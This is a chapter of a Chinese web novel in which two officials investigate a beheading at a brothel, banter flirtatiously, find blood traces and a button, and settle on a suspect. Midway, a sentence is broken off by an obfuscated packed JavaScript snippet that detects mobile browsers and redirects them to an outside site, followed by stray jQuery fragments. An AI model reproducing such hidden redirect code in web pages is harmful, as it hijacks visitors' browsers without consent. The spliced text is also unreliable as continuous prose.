常汝琰对楼上那些莺莺燕燕的目光视若无睹,抬脚便进了屋子。
轻衫在他身后紧随,将老宁的初步验尸结果复述了一遍。
常汝琰草草瞥过断颈处,最后,视线看向下半身。
秦素站在一旁,心里有点犯嘀咕。
这人心理素质未免太强,面对这具残破不全的尸体,不眨眼也罢了,甚至盯着那地方研究得这么起劲,怕不是变态吧……
常汝琰站起身,擦了擦手,对轻衫道,“查查那个叫阿德的,尤其是入阁前后那一年的事,看有没有仇家,另外,问清楚昨夜行踪。”
轻衫离去后,常汝琰才转头看向秦素,注意到她盯着尸体某处,轻啧了一声,“还盯着?”
秦素收起视线,微微撇嘴,“刚才你看得也不轻吧?”
“那能一样?”常汝琰斜了她一眼,一甩袖迈步,“先出去,这东西看久了伤眼。”
“……”
秦素无语,却也没多说,跟着人出去了。
常汝琰环顾了下四周,“凶手在行凶后需要处理沾血衣物和凶器,还有头颅。这前后门都有人把守,绝不可能堂而皇之带走。”
秦素也想到这点,“所以那些东西可能之前被藏在春宵阁某处。”
脑袋这种东西不容易藏住,但作案后无法立刻转移,至少得先处理血迹和凶器。
常汝琰召来几个捕快,吩咐他们彻查听竹院,同时派人查看春宵阁的其他区域。
见人安排好了,秦素决定去隔壁看看。
离案发现场最近,把东西偷偷藏在别的姑娘房间也不是没可能。
浣仙君里住着阁内其他几个姑娘,人此刻已经都被赶去了院子外。
秦素随手推开一间房,被香气呛得差点打喷嚏。
这屋子布置明显比月芩秋那艳俗得多,粉色轻纱幔帐,妆奁上堆满了胭脂水粉和首饰,床上被子凌乱,显然昨晚在这寻欢作乐,空气中还有行-事后的味道。
“哎哟,秦捕头,您怎么来红袖姑娘这儿了?”
秦素被熏得头疼,脸色也有些不悦,回头瞥了眼刘妈妈,“按规矩查案,刘妈妈还是不要乱走动了,不如到前面和大家安安静静等着?”
这老鸨真是让人抓狂。
刘妈妈也是怕官府阵仗太大惊了其他客人,可见秦素脸色变了,吓得一哆嗦,连连点头哈腰快步离开了。
秦素翻了个白眼,走去床铺和妆奁搜了一遍,最后打开衣柜。
柜里布料轻薄的裙子五彩缤纷,秦素翻腾了会儿,忽然一件东西滑出衣服堆,轻飘飘落在地上。
她停下动作,捡起那件鲜红色的肚兜,只用了细纱料子,上面用金线绣着鸳鸯戏水。
秦素打量了几眼,摇头咂嘴,“这些青楼姑娘真会玩,这东西穿了跟没穿有什么区别?”
不过到底是情趣内衣,设计也算合理。
“你在做什么?”
秦素身子一抖,下意识抽回手,猛地看向门口。
常汝琰懒洋洋倚在门边,双手抱臂,饶有兴味地盯着她。
秦素忽然有些不自在,“没什么,找找线索。”
常汝琰微微挑眉,迈步朝她走近,随意扫视房间一圈后,最后盯住她攥着的东西。
秦素注意到他视线,眼睛一眯,“你看什么呢?”
而常汝琰神色自如,收回目光,扫了眼秦素表情,凑近道,“不如你的。”
“???”
手里东西顿时如烫手山芋,秦素猛然想到什么,嗖地扔到一旁,耳根泛热,“胡扯些什么!”
这人怎么越来越没正形了?
常汝琰闷笑一声,“实话实说,我不喜欢这种。”
“……”
都什么时候了,还开这种玩笑。
常汝琰见秦素一副炸毛样子,眼底笑意加深,却也没继续逗弄她。
屋里没什么有用线索,二人直接出了房间。
这时,一捕快领着一名男子走来,“大人,此人是阁内护院,有事呈报。”
常汝琰平静抬眸,“说吧。”
护院弯着腰,低声道,“昨夜大概丑时,小的巡逻经过附近换衣房,隐约听到里面有……呜呜囔囔的声音,还有……咚咚声儿。”
说到这,护院面露尴尬,“小的以为是哪个龟公丫鬟在里头行坏事,怕招人嫌就没敢过去……”
时间上和老宁推测相近。
常汝琰淡淡道,“换衣房在哪里?”
护院没多言,领着人去了地方。
换衣房位于两院围墙之间,已经好久不用了,积满了不穿的衣裳和杂物。
秦素捂着鼻子钻进去,常汝琰紧随其后。
屋内狭窄,两人几乎紧贴着身子。
秦素本想让常汝琰先出去,又觉得不合适,可身旁热度让她有些分心,想侧个身,奈何空间有限。
常汝琰似乎没注意这个,正低头检查着地面墙角。
秦素用脚将周围衣物踢远了些,转身时却没留意旁边露出的一截木棍,霎时间失去平衡,整个人朝前扑去。
常汝琰飞快伸手接住人,因姿势和惯性影响,两人不受控地双双跌倒在地。
秦素被常汝琰拥着,脸贴上他的怀,手臂抵住人。
她缓了缓神,小心睁开一只眼,条件反射抓了抓。
下一秒,只觉得腰后力道加重,头顶响起一声略带沙哑的低语,“还摸?”
秦素面容一怔,终于意识到当前情境,随即身体一僵。
胸口下面似乎有什么东西在变化……
她懵了会儿,瞬间领悟过来,“你……你个变态!这种地方都能……”
常汝琰抬手挡住眼睛,抿唇不语。
倒不是不分场合,只是秦素偏偏不老实地又抓又扭,加之这里昏暗幽闭,又是在青楼。
毕竟血气方刚的年纪,怀里又躺着自己女人,柔软紧贴自己,再强的定力也难挡如此环境和无意撩拨。
他只得沉住气,闷声提醒,“再动,就要出事了。”
“……”
秦素有点生无可恋。
却不是被自己臊的,完全是因为常汝琰没下限。
不知为何,见人一副憋屈模样,她倒来了兴致,指尖在他身上点了点,还故意画圈。
“常大人,可真是-色-欲-熏心啊……”
常汝琰身子一紧,正欲开口,忽听外面走廊上传来一阵脚步声,伴随着刘妈妈尖锐的嗓音。
“哎哟,官爷们还在查吗?真麻烦,今儿妈妈我还怎么营业啊?”
两人呼吸一滞,常汝琰下意识将秦素抱得更紧,秦素被迫躺着,耳边灼热的气息洒在皮肤上。
门外似有人停下片刻,随后传来模糊的几句嘟囔,脚步声才渐渐远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110751|176167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
秦素松了口气,刚抬起身子,却发现常汝琰没有放手意思,一双黑眸微眯。
秦素心里一紧,下意识咽了咽口水,“你…你想干嘛?”
这人不会来真的吧?
常汝琰倒没这想法,那股躁动也压住了,只是对秦素的得意有些不爽。
他将她半抱起,侧过头,在颈后不轻不重咬了下。
秦素倒抽一口凉气,身子猛然一颤,“你——”
常汝琰松口,贴着她耳边低声道,“回去再跟你算账。”
“……”
秦素觉得自己玩脱了,赶紧爬起身,捂着脖子恼羞成怒盯着他。
常汝琰这时也站起来,掸了掸身上的灰尘,恢复以往的清冷高傲。
秦素实在不知说点啥。
影帝,妥妥的影帝,这人不演戏真是屈才了……
常汝琰不再胡闹,视线越过秦素看向里侧一处不显眼的角落。
“那。”
秦素被这短促一声唤回神,顺着方向看去,面色顿时凝重。
只见最里侧堆积如山的粗布脏衣下,有暗红色的滴落痕迹,旁边躺着一个木质衣扣。
秦素将衣扣捡起来对着窗看了看,样式材质不像这里龟公身上的,但也不是什么上等货。
没猜错的话,这里就是案发后暂时躲藏的地方。
常汝琰道,“先把扣子收好,让宁仵作过来查查那血迹。”
秦素哦了声,却忽然意识到某些事情。
他们刚才居然在可能藏过人头的房里,玩了一出脸红心跳?
秀色可餐不成,秦素想哭了。
太重口味了,这算哪门子情调啊……
她急忙甩甩头,赶紧跟着常汝琰走出去,正赶上轻衫从走廊那头疾步而来。
“大人,已经打探过了,阿德昨夜子时后确实离开过负责看守的后院,声称是因为肚疼要去茅房,大约离开了一个时辰。”
一个时辰。
如果事先就计划好,从杀人到藏东西时间应该足够了。
“有人看见他在茅房吗?”秦素追问。
轻衫摇了摇头,“没有。后院茅房偏僻,晚上几乎没人去那里。”
常汝琰道,“他负责的杂活里,包括厨房的采买和劈柴吗?”
“包括。”轻衫点头,“所以他能轻易接触到刀具,而且后巷垃圾也由他处理。”
接触刀具,证明存在分尸嫌疑,还负责处理垃圾,抛掉一颗脑袋算不得难事。
案子虽惊悚,可破获不难。
时间、地点、条件都吻合,只是动机尚不明了。
为何一个伙计会在姑娘房间以如此残忍方式杀害一男子?
阿德和月芩秋并没有私人交情,即便死者对月芩秋意图不轨,阿德出于阻拦,砍头实属不合常理,别提对死者还有-侵-犯-行为,现场情况更显示阿德有意嫁祸给月芩秋。
最合情合理的推论是,阿德和死者间有私怨。
常汝琰沉吟片刻,问秦素,“月芩秋拿的玉簪,你怎么看?”
秦素微愣,随即反应过来。
“那簪子不是凡品,丫鬟也提过不是月芩秋的物件,一个伙计不可能买得起。即便偷来的,也不会在行凶时揣在身上。”
“所以,这簪子只可能属于一个人。”
秦素接口道,“死者。”